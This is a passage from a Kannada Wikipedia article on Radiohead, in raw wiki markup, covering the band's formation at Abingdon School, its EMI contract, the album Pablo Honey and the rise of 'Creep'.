ತಂಡದ ಮೊದಲ ಆರು ಆಲ್ಬಮ್‌ಗಳು 2007ರೊಳಗೆ ಸುಮಾರು 25 ದಶಲಕ್ಷ ಪ್ರತಿಗಳು ಮಾರಾಟವಾಗಿದ್ದವು.<ref> {{Citation | last =Sherwin | first =Adam | title =EMI accuses Radiohead after group’s demands for more fell on deaf ears | newspaper = [[The Times]] | date = [[2007-12-28]] | url = http://entertainment.timesonline.co.uk/tol/arts_and_entertainment/music/article3101671.ece | accessdate = 2008-01-29 }}</ref> ರೇಡಿಯೊಹೆಡ್‌ ತನ್ನ ಏಳನೆಯ ಆಲ್ಬಮ್‌ ''[[ಇನ್‌ ರೇನ್ಬೊಸ್‌]]'' ನ್ನು 2007ರಲ್ಲಿ ಸ್ವತಂತ್ರವಾಗಿ ಬಿಡುಗಡೆಗೊಳಿಸಿತು. ಇದು ಮೂಲತಃ [[ಡಿಜಿಟಲ್‌ ಡೌನ್ಲೋಡ್‌]] ಮೂಲಕ ಲಭ್ಯವಿದ್ದು, ಗ್ರಾಹಕರು ತಮ್ಮದೇ ಆದ ಬೆಲೆ ನಿಗದಿಪಡಿಸಲು ಸಾಧ್ಯವಾಗಿತ್ತು. ಆನಂತರ ಭೌತಿಕ ರೂಪದಲ್ಲಿ ಈ ಆಲ್ಬಮ್‌ನ್ನು ಬಿಡುಗಡೆಗೊಳಿಸಿತು ಮತ್ತು ಈ ಆಲ್ಬಮ್‌ ವಿಮರ್ಶಕರ ಮೆಚ್ಚುಗೆ ಪಡೆಯಿತು. ದೊಡ್ಡ ಸಂಖ್ಯೆಯ ಶ್ರೋತೃಗಳ ಸಮೀಕ್ಷೆ ಮತ್ತು ವಿಮರ್ಶಕರ ಪಟ್ಟಿಯಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದ ಸಂಯೋಜನೆಗಳು ಕಾಣಿಸಿಕೊಂಡಿವೆ.<ref>{{Citation |title=Radiohead gun for Beatles' Revolver |source=BBC News |publisher=news.bbc.co.uk |date=2000-09-03 |accessdate=2008-09-28 |url=http://news.bbc.co.uk/2/hi/entertainment/908638.stm}}</ref><ref>{{citation | title = Radiohead&nbsp;— In Rainbows Is Overwhelming Critics Choice for Top Album | url = http://www.contactmusic.com/news.nsf/story/in-rainbows-is-overwhelming-critics-choice-for-top-album_1053848 | publisher = Contact Music | date = 2007-12-18 | accessdate = 2009-10-03 }}</ref> ಉದಾಹರಣೆಗೆ, 2005ರಲ್ಲಿ ಪ್ರಕಟಿಸಲಾದ ''[[ರೊಲಿಂಗ್‌ ಸ್ಟೋನ್ಸ್‌]] '''ಸರ್ವಕಾಲಿಕ ಮಹಾನ್ ಕಲಾವಿದರ ಪಟ್ಟಿ''' '' ಯಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡವು 73ನೆಯ ಸ್ಥಾನದಲ್ಲಿತ್ತು. '''''ವಾದ್ಯತಂಡದ ಮುಂಚಿನ ಅಲ್ಬಮ್‌ಗಳು ವಿಶಿಷ್ಟವಾಗಿ ಬ್ರಿಟಿಷ್‌ ರಾಕ್‌ ಮತ್ತು ಪಾಪ್‌ ಶೈಲಿಯ ಸಂಗೀತದ ಮೇಲೆ ಪ್ರಭಾವ ಬೀರಿದ್ದರೆ,<ref> {{citation | title = The 50 albums that changed music | newspaper = The Observer | date = 2006-07-16 | url = http://observer.guardian.co.uk/review/story/0,,1821230,00.html | accessdate = 2009-10-03 }}</ref> ಆನಂತರದ ಆಲ್ಬಮ್‌ಗಳು ಇನ್ನಷ್ಟು ಶ್ರೋತೃಗಳನ್ನು ಸಂಪಾದಿಸಿತು.<ref name="BBCKIDAAMN"/>''' '' == ಇತಿಹಾಸ == === ವಾದ್ಯತಂಡದ ರಚನೆ ಮತ್ತು ಮೊದಲ ವರ್ಷಗಳು (1985-1991) === [[ಚಿತ್ರ:abingdonschool.jpg|thumb|right|ಅಬಿಂಗ್ಡನ್‌ ಶಾಲೆ; ವಾದ್ಯತಂಡ ರಚನೆಯಾದದ್ದು ಇಲ್ಲೇ.]] [[ಆಕ್ಸ್ಫರ್ಡ್‌ಷೈರ್‌ನ ಅಬಿಂಗ್ಡನ್]]‌ನಲ್ಲಿರುವ ಏಕೈಕ [[ಬಾಲಕರ ಪಬ್ಲಿಕ್‌ಸ್ಕೂಲ್]] [[ಅಬಿಂಗ್ಡನ್‌ ಸ್ಕೂಲ್‌]]ನಲ್ಲಿ ವ್ಯಾಸಂಗ ಮಾಡುತ್ತಿರುವಾಗ ರೇಡಿಯೊಹೆಡ್ ವಾದ್ಯ ತಂಡ ರಚಿಸಿದ ಕಲಾವಿದರು ಪರಸ್ಪರ ಭೇಟಿಯಾದರು.<ref name="MCLEAN"> {{Citation | last =McLean | first =Craig | title =Don't worry, be happy | newspaper = [[The Sydney Morning Herald]] | date = 2003-07-14 | url = http://www.smh.com.au/articles/2003/06/13/1055220766407.html | accessdate = 2007-12-25 }}</ref> ಥಾಮ್‌ ಯಾರ್ಕ್‌ ಮತ್ತು ಕೊಲಿನ್‌ ಗ್ರೀನ್ವುಡ್‌ ಒಂದೇ ವರ್ಷದಲ್ಲಿದ್ದರು, ಎಡ್‌ ಒ'ಬ್ರಿಯನ್‌ ಮತ್ತು ಫಿಲ್‌ ಸೆಲ್ವೇ ಒಂದು ವರ್ಷ ಹಿರಿಯರು, ಜಾನಿ ಗ್ರೀನ್ವುಡ್‌ ತನ್ನ ಸಹೋದರ ಕೊಲಿನ್‌ಗಿಂತಲೂ ಎರಡು ವರ್ಷ ಕಿರಿಯರು. ಇಸವಿ 1985ರಲ್ಲಿ ಈ ನಾಲ್ವರು 'ಆನ್‌ ಎ ಫ್ರೈಡೇ' ಎಂಬ ವಾದ್ಯತಂಡ ರಚಿಸಿದರು. ಶಾಲೆಯ ಸಂಗೀತ ಕೊಠಡಿಯಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿ ಶುಕ್ರವಾರದ ಬ್ಯಾಂಡ್ ಪೂರ್ವಾಭ್ಯಾಸದ ದಿನವನ್ನೇ ಈ ಹೆಸರು ಉಲ್ಲೇಖಿಸುತ್ತಿತ್ತು.<ref name="RANDALL"/> ತಂಡವು ತಮ್ಮ ಮೊದಲ ಸಂಗೀತಗೋಷ್ಠಿಯನ್ನು 1986ರ ಅಪರಾರ್ಧದಲ್ಲಿ ಆಕ್ಸ್ಫರ್ಡ್‌ನ [[ಜೆರಿಕೊ ಟೆವರ್ನ್‌]]ನಲ್ಲಿ ನಡೆಸಿತು.<ref name="CLARKE"> {{citation | last=Clarke | first=Martin | title=Radiohead: Hysterical and Useless | date=2006-05-05 | isbn=0859653838 | publisher=Plexus }}</ref> ಜಾನಿ ಗ್ರೀನ್ವುಡ್‌ ಮೂಲತಃ ಹಾರ್ಮೊನಿಕಾ ಹಾಗೂ ನಂತರ ಕೀಬೋರ್ಡ್‌ ವಾದಕರಾಗಿ ಸೇರಿದ್ದರು. ಆದರೆ ಅವರು ಶೀಘ್ರದಲ್ಲಿಯೇ ಪ್ರಮುಖ ಗಿಟಾರ್‌ ವಾದಕರಾದರು.<ref name="RANDALL"> {{Citation | last = Randall | first = Mac | title = The Golden Age of Radiohead | magazine = [[Guitar World]] | date = 1998-04-01 }}</ref> ಯಾರ್ಕ್‌, ಒ'ಬ್ರಿಯನ್‌, ಸೆಲ್ವೇ ಮತ್ತು ಕೊಲಿನ್‌ ಗ್ರೀನ್ವುಡ್‌ 1987ರೊಳಗೆ ಅಬಿಂಗ್ಡನ್‌ ಶಾಲೆಯಿಂದ ತೇರ್ಗಡೆಯಾಗಿ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಲ್ಲಿ ವ್ಯಾಸಂಗ ಮಾಡಹೊರಟಿದ್ದರೂ, ವಾದ್ಯತಂಡವು ವಾರಾಂತ್ಯ ಹಾಗೂ ರಜಾ ದಿನಗಳಂದು ಪೂರ್ವಾಭ್ಯಾಸಗಳನ್ನು ಮುಂದುವರೆಸಿತು.<ref name="ROSS">{{Citation | last = Ross | first = Alex | title = The Searchers | newspaper = [[The New Yorker]] | date = 2001-08-20 | url = http://www.therestisnoise.com/2004/04/mahler_1.html | accessdate = 2007-12-24 | archive-date = 2008-02-14 | archive-url = https://web.archive.org/web/20080214053947/http://www.therestisnoise.com/2004/04/mahler_1.html | url-status = bot: unknown }}</ref> ಇಸವಿ 1991ರಲ್ಲಿ, ಜಾನಿ ಹೊರತುಪಡಿಸಿ ಉಳಿದೆಲ್ಲ ಸದಸ್ಯರು ತಮ್ಮ ಪದವಿ ಪೂರೈಸಿದ ನಂತರ, ಒಂದು ಶುಕ್ರವಾರ ತಂಡವು ಪುನಃ ಒಟ್ಟು ಸೇರಿ, ''[[ಮ್ಯಾನಿಕ್‌ ಹೆಡ್ಜ್‌ಹಾಗ್‌]]'' ನಂತಹ ಪ್ರದರ್ಶನ ಸಂಗೀತದ ಧ್ವನಿಮುದ್ರಣ ಮಾಡಿ, ಆಕ್ಸ್ಫರ್ಡ್‌ ನಗರದಾದ್ಯಂತ ನೇರ ಸಂಗೀತಗೋಷ್ಠಿ ನಡೆಸಿದರು. 1980ರ ದಶಕದ ಅಪರಾರ್ಧದಲ್ಲಿ, [[ಇಂಡೀ]] ಸಂಗೀತವು ಆಕ್ಸ್ಫರ್ಡ್‌ಷೈರ್ ಮತ್ತು [[ಥೇಮ್ಸ್‌ ಕಣಿವೆ]]ಯಲ್ಲಿ ‌ಸಕ್ರಿಯವಾಗಿತ್ತು. ಆದರೆ ಅದು [[ರೈಡ್‌]] ಮತ್ತು [[ಸ್ಲೋಡೈವ್‌]]ನಂತಹ [[ಷೂಗೇಜಿಂಗ್]]‌ ವಾದ್ಯತಂಡಗಳ ಸುತ್ತ ಕೇಂದ್ರೀಕೃತವಾಗಿತ್ತು. 'ಆನ್‌ ಎ ಫ್ರೈಡೆ' ವಾದ್ಯತಂಡವು ಈ ಪ್ರವೃತ್ತಿಗೆ ಸರಿಹೊಂದುವಂತೆ ಕಾಣಲಿಲ್ಲ. ತಂಡದ ಸದಸ್ಯರು ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಲ್ಲಿ ಪದವಿ ಮುಗಿಸಿ ಹೊರಬರುವ ಹೊತ್ತಿಗೆ ಅದು ತಪ್ಪಿಹೋಗಿತ್ತು ಎಂದು ಪ್ರತಿಕ್ರಿಯಿಸಿದರು.<ref name="KENT"> {{Citation | last =Kent | first =Nick | author-link =Nick Kent | title =Happy now? | magazine = [[Mojo (magazine)|Mojo]] | date =2001-06-01 }}</ref> ಅದೇನೇ ಇರಲಿ, 'ಆನ್‌ ಎ ಫ್ರೈಡೆ' ತಂಡದ ನೇರಪ್ರದರ್ಶನಗಳು ಹೆಚ್ಚಿದಾಗ, ಧ್ವನಿಮುದ್ರಣಾ ಕಂಪೆನಿಗಳು ಮತ್ತು ಸಂಗೀತ ನಿರ್ಮಾಪಕರು ಆಸಕ್ತಿ ವಹಿಸಲಾರಂಭಿಸಿದರು. ಸ್ಲೋಡೈವ್‌ನ ನಿರ್ಮಾಪಕ ಮತ್ತು ಆಕ್ಸ್ಫರ್ಡ್‌ನ ಕೋರ್ಟ್‌ಯಾರ್ಡ್ ಸ್ಟುಡಿಯೊದ ಸಹ-ಮಾಲಿಕ ಕ್ರಿಸ್‌ ಹಫೊರ್ಡ್‌ ಜೆರಿಕೊ ಟೆವರ್ನ್‌ನಲ್ಲಿ ನಡೆದ 'ಆನ್‌ ಎ ಫ್ರೈಡೆ' ತಂಡದ ಆರಂಭಿಕ ಗೋಷ್ಠಿಯೊಂದಕ್ಕೆ ಹಾಜರಿದ್ದರು. ಈ ವಾದ್ಯತಂಡದ ಸಂಗೀತ ಪ್ರದರ್ಶನವನ್ನು ಮೆಚ್ಚಿದ ಅವರು ಮತ್ತು ಅವರ ಪಾಲುದಾರ ಬ್ರೈಸ್‌ ಎಡ್ಜ್‌ ಒಂದು ಡೆಮೊ ಸುರುಳಿಯನ್ನು ನಿರ್ಮಿಸಿ, 'ಆನ್‌ ಎ ಫ್ರೈಡೆ' ತಂಡದ ವ್ಯವಸ್ಥಾಪಕರಾದರು.<ref name="ROSS"/> ಅವರು ಇಂದಿಗೂ ಈ ತಂಡದ ವ್ಯವಸ್ಥಾಪಕರಾಗಿ ಉಳಿದಿದ್ದಾರೆ. ಕೊಲಿನ್‌ ಗ್ರೀನ್ವುಡ್‌ ಉದ್ಯೋಗಿಯಾಗಿದ್ದ ಧ್ವನಿಮುದ್ರಣಾ ಅಂಗಡಿಯಲ್ಲಿ ಅವರ ಮತ್ತು [[EMI]] [[ಪ್ರತಿನಿಧಿ]] ಕೀತ್‌ ವೊಜೆನ್ಕ್ರಾಫ್ಟ್‌ ನಡುವಿನ ಅಕಸ್ಮಾತ್‌ ಭೇಟಿಯ ಫಲವಾಗಿ, 1991ರ ಅಪರಾರ್ಧದಲ್ಲಿ ತಂಡವು ಕಂಪೆನಿಯೊಂದಿಗೆ ಆರು ಆಲ್ಬಮ್‌ಗಳ ಧ್ವನಿಮುದ್ರಣಾ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿಹಾಕಿತು.<ref name="ROSS"/> EMI ಕೋರಿಕೆಯ ಮೇರೆಗೆ, ವಾದ್ಯತಂಡವು ತನ್ನ ಹೆಸರನ್ನು ರೇಡಿಯೊಹೆಡ್‌ ಎಂದು ಬದಲಾಯಿಸಿತು. ''[[ಟ್ರೂ ಸ್ಟೋರೀಸ್‌]]'' ಆಲ್ಬಮ್‌ನ ಹಾಡು [[ಟಾಕಿಂಗ್‌ ಹೆಡ್ಸ್]]‌ನ ಶೀರ್ಷಿಕೆಯು ಇದರ ಹಿಂದಿನ ಪ್ರೇರಣೆಯಾಗಿತ್ತು.<ref name="ROSS"/> === ''ಪಾಬ್ಲೊ ಹನಿ'' , ''ದಿ ಬೆಂಡ್ಸ್‌'' ಹಾಗೂ ಆರಂಭಿಕ ಯಶಸ್ಸುಗಳು (1992–1995) === ರೇಡಿಯೊಹೆಡ್‌ ವಾದ್ಯತಂಡವು ತನ್ನ ಮೊಟ್ಟಮೊದಲ ಬಿಡುಗಡೆ''[[ಡ್ರಿಲ್‌]]'' [[EP]]ಯನ್ನು ಕ್ರಿಸ್ ಹಫೊರ್ಡ್‌ ಮತ್ತು ಬ್ರೈಸ್‌ ಎಡ್ಜ್‌ರೊಂದಿಗೆ ಕೋರ್ಟ್ ಯಾರ್ಡ್ ಸ್ಟುಡಿಯೊದಲ್ಲಿ ಧ್ವನಿಮುದ್ರಣ ನಡೆಸಿತು‌. ಮಾರ್ಚ್‌ 1992ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ಅದರ ಸಾಧನೆಯ ಪಟ್ಟಿ ಕಳಪೆಯಾಗಿತ್ತು. ಆನಂತರ, US ಇಂಡೀ ಶೈಲಿಯ ವಾದ್ಯತಂಡಗಳಾದ [[ಪಿಕ್ಸೀಸ್‌]] ಮತ್ತು [[ಡೈನೊಸಾರ್‌ ಜೂನಿಯರ್]] ವಾದ್ಯತಂಡದೊಂದಿಗೆ ಕೆಲಸ ಮಾಡಿದ್ದ ಪಾಲ್‌ ಕೊಲ್ಡೆರೀ ಮತ್ತು ಸೀನ್‌ ಸ್ಲೇಡ್‌ರನ್ನು ರೇಡಿಯೊಹೆಡ್‌ ತಂಡವು ಸೇರಿಸಿಕೊಂಡಿತು. ಇಸವಿ 1992ರಲ್ಲಿ ಆಕ್ಸ್‌ಫರ್ಡ್‌ನ ಸ್ಟುಡಿಯೊದಲ್ಲಿ ತಕ್ಷಣವೇ ಧ್ವನಿಮುದ್ರಿತವಾದ ಚೊಚ್ಚಲ ಆಲ್ಬಂ [[ತಯಾರಿಸಿತು]].<ref name="RANDALL"/> ಅದೇ ವರ್ಷ ಬಿಡುಗಡೆಯಾದ ಏಕಗೀತೆ '[[ಕ್ರೀಪ್‌]]'ನೊಂದಿಗೆ ರೇಡಿಯೊಹೆಡ್‌ ಬ್ರಿಟಿಷ್‌ ಸಂಗೀತ ಮಾಧ್ಯಮದ ಗಮನ ಸೆಳೆಯಿತು. ಆದರೆ ಎಲ್ಲಾ ವಿಮರ್ಶೆಗಳೂ ಸಕಾರಾತ್ಮಕವಾಗಿರಲಿಲ್ಲ. 'ವಾದ್ಯತಂಡವೊಂದಕ್ಕೆ ಹೇಡಿತನದ ನೆಪ' ಎಂದು ''[[NME]]'' ಅದನ್ನು ಟೀಕಿಸಿತು.<ref name="FREQUENCY"> {{citation | title=Radiohead: The right frequency | date=2001-02-22 | url =http://news.bbc.co.uk/2/hi/entertainment/1182725.stm | newspaper = [[BBC News]] | accessdate = 2007-11-24 }}</ref> ಕ್ರೀಪ್‌ ಏಕಗೀತೆಯು ತುಂಬಾ ಖಿನ್ನತೆ ಮೂಡಿಸುವಂತ ಗೀತೆ ಎಂಬ ಕಾರಣ ನೀಡಿ [[BBC ರೇಡಿಯೊ 1]] ಅದನ್ನು ಕಪ್ಪುಪಟ್ಟಿಗೆ ಸೇರಿಸಿತು.<ref name="mel"> {{Citation | title =Creepshow | newspaper =[[Melody Maker]] | date = 1992-12-19 }}</ref> ತಮ್ಮ ಮೊಟ್ಟಮೊದಲ ಆಲ್ಬಮ್‌ ''[[ಪಾಬ್ಲೊ ಹನಿ]]'' ಯನ್ನು ಫೆಬ್ರುವರಿ 1993ರಲ್ಲಿ ಬ್ಯಾಂಡ್ ಬಿಡುಗಡೆಗೊಳಿಸಿತು. UK ಸಂಗೀತ ಪಟ್ಟಿಯಲ್ಲಿ ಅದು 22ನೆಯ ಸ್ಥಾನದಲ್ಲಿತ್ತು."ಕ್ರೀಪ್" ಮತ್ತು ಸ್ತುತಿಗೀತೆಯಂತಿದ್ದ ನಂತರದ ಎರಡು ಏಕಗೀತೆಗಳಾದ '[[ಎನಿವನ್‌ ಕೆನ್‌ ಪ್ಲೇ ಗಿಟಾರ್]]‌' ಹಾಗೂ '[[ಸ್ಟಾಪ್‌ ವಿಸ್ಪರಿಂಗ್]]'‌ ರೇಡಿಯೊ ಅಥವಾ ವೀಡಿಯೊ ಜನಪ್ರಿಯತೆ ಗಳಿಸಲು ವಿಫಲವಾದವು. ವಾದ್ಯತಂಡವು ಆನಂತರ 'ಜವಾಬ್ದಾರಿ ತೆಗೆದುಕೊಳ್ಳದ' [[ಪಾಪ್‌ ಈಸ್‌ ಡೆಡ್‌]] ಎಂಬ ಆಲ್ಬಮೇತರ ಏಕಗೀತೆಯು ಕಳಪೆ ಮಾರಾಟ ಕಂಡಿತು. 'ವಾದ್ಯತಂಡದ ಆರಂಭಿಕ ಶೈಲಿ 1990ರ ದಶಕದ ಮೊದಲಾರ್ಧದಲ್ಲಿ ಜನಪ್ರಿಯ [[ಗ್ರಂಜ್‌]] ಸಂಗೀತವನ್ನು ಹೋಲುತ್ತದೆ' ಎಂದು ಕೆಲವು ಟೀಕಾಕಾರರು ಅಭಿಪ್ರಾಯ ಸೂಚಿಸಿದರು. ರೇಡಿಯೊಹೆಡ್‌ನ್ನು [[ನಿರ್ವಾಣ]]-ಲೈಟ್‌ <ref name="SMITH"/> ಎನ್ನುವ ಮಟ್ಟಕ್ಕೂ ತಲುಪಿದರು. ಇಷ್ಟಾದರೂ ''ಪಾಬ್ಲೊ ಹನಿ'' ಆರಂಭದ ಬಿಡುಗಡೆಯಲ್ಲಿ ವಿಮರ್ಶಾತ್ಮಕ ಅಥವಾ ವಾಣಿಜ್ಯ ಯಶಸ್ಸು ಕಾಣಲಿಲ್ಲ.<ref name="FREQUENCY"/> ಜನಪ್ರಿಯ ಗಿಟಾರ್‌-ಆಧರಿತ ಶೈಲಿಯನ್ನು ಹಂಚಿಕೊಂಡ ಪ್ರಭಾವಗಳು, ಜೊತೆಗೆ ಯಾರ್ಕ್‌ [[ಕೀಚಲು]] ಧ್ವನಿಯಲ್ಲಿ ಹಾಡಿ ಗಮನ ಸೆಳೆದರೂ, ರೇಡಿಯೊಹೆಡ್‌ ತಮ್ಮ ಪ್ರದರ್ಶನ ಪ್ರವಾಸಗಳನ್ನು ಕೇವಲ ಬ್ರಿಟಿಷ್‌ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಮತ್ತು ಕ್ಲಬ್‌ಗಳಿಗೆ ಸೀಮಿತಗೊಳಿಸಿತ್ತು.<ref name="PABLO">{{Citation | title = Radiohead gigography: 1993 | publisher = Green Plastic Radiohead | url = http://www.greenplastic.com/gigography/index.php?year=1993 | access-date = 2010-06-22 | archive-date = 2011-09-12 | archive-url = https://web.archive.org/web/20110912224328/http://www.greenplastic.com/gigography/index.php?year=1993 | url-status = dead }}</ref> {{Listen |filename = Radiohead - Creep (sample).ogg |title = "Creep" |description = "Creep" was Radiohead's first hit. This sample features Jonny Greenwood's [[guitar distortion]] before the chorus. According to legend, the effects were an attempt to sabotage a song Greenwood didn't initially like.<ref>{{citation | last=Randall | first=Mac | title=Exit Music: The Radiohead Story | date=2000-09-12 | pages=71–73 | isbn= 0385333935 | publisher=Delta }}</ref>}} ಇಸವಿ 1993ರ ಮೊದಲ ಕೆಲವು ತಿಂಗಳುಗಳಲ್ಲಿ, ರೇಡಿಯೊಹೆಡ್‌ ಇತರೆಡೆ ವಾಸಿಸುವ ಶ್ರೋತೃಗಳ ಗಮನವನ್ನೂ ಸೆಳೆಯಿತು. ಒಬ್ಬ ಪ್ರಭಾವೀ [[DJ]]ಯಿಂದ ಕ್ರೀಪ್‌ ಆಗಾಗ್ಗೆ[[ಇಸ್ರೇಲಿ]] ರೇಡಿಯೊದಲ್ಲಿ ನುಡಿಸಲಾಗುತ್ತಿತ್ತು. ಆ ದೇಶದ ಸಂಗೀತ ಪಟ್ಟಿಗಳಲ್ಲಿ ಜನಪ್ರಿಯತೆ ಗಳಿಸಿದ ನಂತರ, ಅದೇ ವರ್ಷ ಮಾರ್ಚ್‌ ತಿಂಗಳಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡಕ್ಕೆ [[ಟೆಲ್‌ ಅವಿವ್‌]]ನಲ್ಲಿ ಸಾಗರೋತ್ತರ ಸಂಗೀತಗೋಷ್ಠಿ ನಡೆಸಲು ಆಮಂತ್ರಣ ಲಭಿಸಿತು. ಇದು ರೇಡಿಯೋಹೆಡ್‌ನ ಮೊಟ್ಟಮೊದಲ ವಿದೇಶೀ ವಾದ್ಯಗೋಷ್ಠಿ ಎನಿಸಿತು.<ref> {{Citation | last = Rubinstein | first = Harry | title = The Radiohead&nbsp;— Israel connection | newspaper= israelity.com | url =http://israelity.com/2009/01/20/the-radiohead-israel-connection/ | date = 2009-01-20 }}</ref> ಇದೇ ಸಮಯದಲ್ಲಿ, [[ಸ್ಯಾನ್‌ ಫ್ರಾನ್ಸಿಸ್ಕೊ]] ಪರ್ಯಾಯ ರೇಡಿಯೊ ವಾಹಿನಿ [[KITS]] ತನ್ನ ಹಾಡುಪಟ್ಟಿ (ಪ್ಲೇಲಿಸ್ಟ್‌)ಗೆ ಈ ಹಾಡನ್ನು ಸೇರಿಸಿತು. ಶೀಘ್ರದಲ್ಲಿಯೇ, ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪಶ್ಚಿಮ ತೀರದಲ್ಲಿರುವ ಇತರೆ ರೇಡಿಯೊ ವಾಹಿನಿಗಳು ಸಹ ಅದನ್ನು ಅನುಸರಿಸಿದವು. ಜೂನ್‌1993ಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ ತನ್ನ ಮೊದಲ ಉತ್ತರ ಅಮೆರಿಕಾ ಪ್ರವಾಸ ಹೋಗುವಷ್ಟರಲ್ಲಿ [[MTV]]ಯಲ್ಲಿ 'ಕ್ರೀಪ್'‌ ಹಾಡಿನ [[ಸಂಗೀತ ವೀಡಿಯೊ]] ಆಗಾಗ್ಗೆ ಪ್ರಸಾರಗೊಳ್ಳುತ್ತಿತ್ತು.<ref name="ROSS"/> ಈ ಹಾಡು US [[ಆಧುನಿಕ ರಾಕ್‌ ಶೈಲಿ ಸಂಗೀತ]] ಪಟ್ಟಿಗಳಲ್ಲಿ ಎರಡನೆಯ ಸ್ಥಾನಕ್ಕೇರಿತು. ಇದು [[40 ಅತಿ ಜನಪ್ರಿಯ]] ಪಾಪ್ ಪಟ್ಟಿಗಳ ಕೆಳಭಾಗಕ್ಕೆ ಮುಟ್ಟಿ, ಅಂತಿಮವಾಗಿ ವರ್ಷಾಂತ್ಯದಲ್ಲಿ ಬ್ರಿಟನ್‌ನಲ್ಲಿ ಪುನಃ ಬಿಡುಗಡೆಗೊಳಿಸಿದಾಗ, UK ಏಕಗೀತೆಗಳ ಪಟ್ಟಿಯಲ್ಲಿ ಏಳನೆಯ ಸ್ಥಾನ ಗಿಟ್ಟಿಸಿತು.<ref name="BILL"/> ಏಕಗೀತೆಗೆ ಅಮೆರಿಕಾದಲ್ಲಿ ಲಭಿಸಿದ ಅನಿರೀಕ್ಷಿತ ಗಮನದ ಫಲವಾಗಿ, ಧ್ವನಿಮುದ್ರಣಾ ಕಂಪೆನಿ EMI ನೂತನ ಉತ್ತೇಜನಾ ಯೋಜನೆಗಳನ್ನು ರೂಪಿಸಲಾರಂಭಿಸಿತು. ರೇಡಿಯೊಹೆಡ್‌ ವಾದ್ಯತಂಡವು ವಿವಿಧ ಭೂಖಂಡಗಳ ನಡುವೆ ಪ್ರವಾಸ ನಡೆಸಿ, 1993ರಲ್ಲಿ 150ಕ್ಕಿಂತಲೂ ಹೆಚ್ಚು ವಾದ್ಯಗೋಷ್ಠಿ ನಡೆಸಿತ್ತು.<ref name="PABLO"/> ''ಪಾಬ್ಲೊ ಹನಿ'' ಉತ್ತೇಜನಾ ಪ್ರವಾಸವು ತನ್ನ ಎರಡನೆಯ ವರ್ಷಕ್ಕೂ ವಿಸ್ತರಿಸುವುದರೊಂದಿಗೆ, ಇದ್ದಕ್ಕಿದಂತೆ ಲಭಿಸಿದ ಯಶಸ್ಸಿನ ಒತ್ತಡದ ಕಾರಣ ರೇಡಿಯಹೆಡ್ ತಂಡವು ಒಡೆದುಹೋಗುವ ಹಂತ ತಲುಪಿತ್ತು.<ref> {{Citation | last = Richardson | first = Andy | title = Boom! Shake The Gloom! | newspaper = [[NME]] | date = 1995-12-09 }}</ref> ತಂಡವು ಇದಕ್ಕೆ ಹೊಂದಿಕೊಳ್ಳುವುದು ಕಷ್ಟವಾಗಿತ್ತು ಎಂದು ರೇಡಿಯೊಹೆಡ್ ಸದಸ್ಯರು ತಿಳಿಸಿದರು. ಪ್ರವಾಸದ ಅಂತಿಮ ಹಂತಗಳಲ್ಲಿ, ಎರಡು ವರ್ಷಗಳ ಹಿಂದೆ ಧ್ವನಿಮುದ್ರಣ ಮಾಡಲಾದ ಹಾಡುಗಳನ್ನೇ ಹಾಡುತ್ತಿದ್ದರು... ಅವರು ಹೊಸ ಹಾಡುಗಳನ್ನು ರಚಿಸುವ ಇಂಗಿತ ಹೊಂದಿದ್ದರೂ ಕಾಲವಕ್ರತೆಯಲ್ಲಿ ಸಿಲುಕಿದ್ದರೇನೋ ಎನಿಸಿತ್ತು.<ref name="HARDING">{{citation | first=Nigel | last=Harding | title=Radiohead's Phil Selway | year=1995 | newspaper=consumable.com | url=http://www.westnet.com/consumable/1995/May08.1995/revradio.html | accessdate=2007-05-28 | archive-date=2007-08-10 | archive-url=https://web.archive.org/web/20070810101504/http://www.westnet.com/consumable/1995/May08.1995/revradio.html | url-status=dead }}</ref> ಇಸವಿ 1994ರಲ್ಲಿ [[ಅಬ್ಬೆ ರೋಡ್‌ ಸ್ಟುಡಿಯೊಸ್]]‌ ನಿರ್ಮಾಪಕ [[ಜಾನ್‌ ಲೆಕೀ]]ಯವರನ್ನು ನೇಮಿಸಿಕೊಂಡ ವಾದ್ಯತಂಡವು, ತನ್ನ ಎರಡನೆಯ ಆಲ್ಬಮ್‌ ರಚಿಸಲಾರಂಭಿಸಿತು. ಕ್ರೀಪ್‌ ಯಶಸ್ಸಿಗೆ ಸರಿಸಮವಾದ ಅಥವಾ ಅದನ್ನೂ ಮೀರಿಸುವಂತಹ ಉತ್ತಮ ಗೀತೆಗಳನ್ನು ಸಂಯೋಜಿಸುವ ನಿರೀಕ್ಷೆಗಳೊಂದಿಗೆ ಬಹಳಷ್ಟು ಬಿಗುವಿನ ವಾತಾವರಣವನ್ನೂ ತಂದಿಟ್ಟಿತು.<ref name="BLACK"> {{citation | first=Johnny | last=Black | title=The Greatest Songs Ever! Fake Plastic Trees | date=2003-06-01 | magazine = [[Blender (magazine)|Blender]] | url =http://www.blender.com/guide/articles.aspx?id=824 | accessdate = 2007-04-15 }}</ref> ವಾದ್ಯತಂಡದ ಸದಸ್ಯರು ಹಾಡುಗಳನ್ನು ಅತಿಯಾಗಿ ಪೂರ್ವಾಭ್ಯಾಸ ನಡೆಸಿದ ಕಾರಣ, ಸ್ಟುಡಿಯೊದಲ್ಲಿ ಧ್ವನಿಮುದ್ರಣವು ಅಸ್ವಾಭಾವಿಕ ಎನಿಸಿತು.<ref name="RANDA BENDS">{{citation | last=Randall | first=Mac | title=Exit Music: The Radiohead Story | date=2000-09-12 | pages=127–134 | isbn= 0385333935 | publisher=Delta }}</ref> ತಂಡದ ಸದಸ್ಯರು ದೃಶ್ಯಾವಳಿಯಲ್ಲಿ ಬದಲಾವಣೆಗಾಗಿ ಇಚ್ಛಿಸಿದರು. ಒತ್ತಡವನ್ನು ಕಡಿಮೆಗೊಳಿಸಲು [[ದೂರಪ್ರಾಚ್ಯ]], [[ಆಸ್ಟ್ರಲಾಸಿಯ]] ಹಾಗೂ ಮೆಕ್ಸಿಕೊ ದೇಶಗಳ ಪ್ರವಾಸ ಹೋಗಿಬಂದರು. 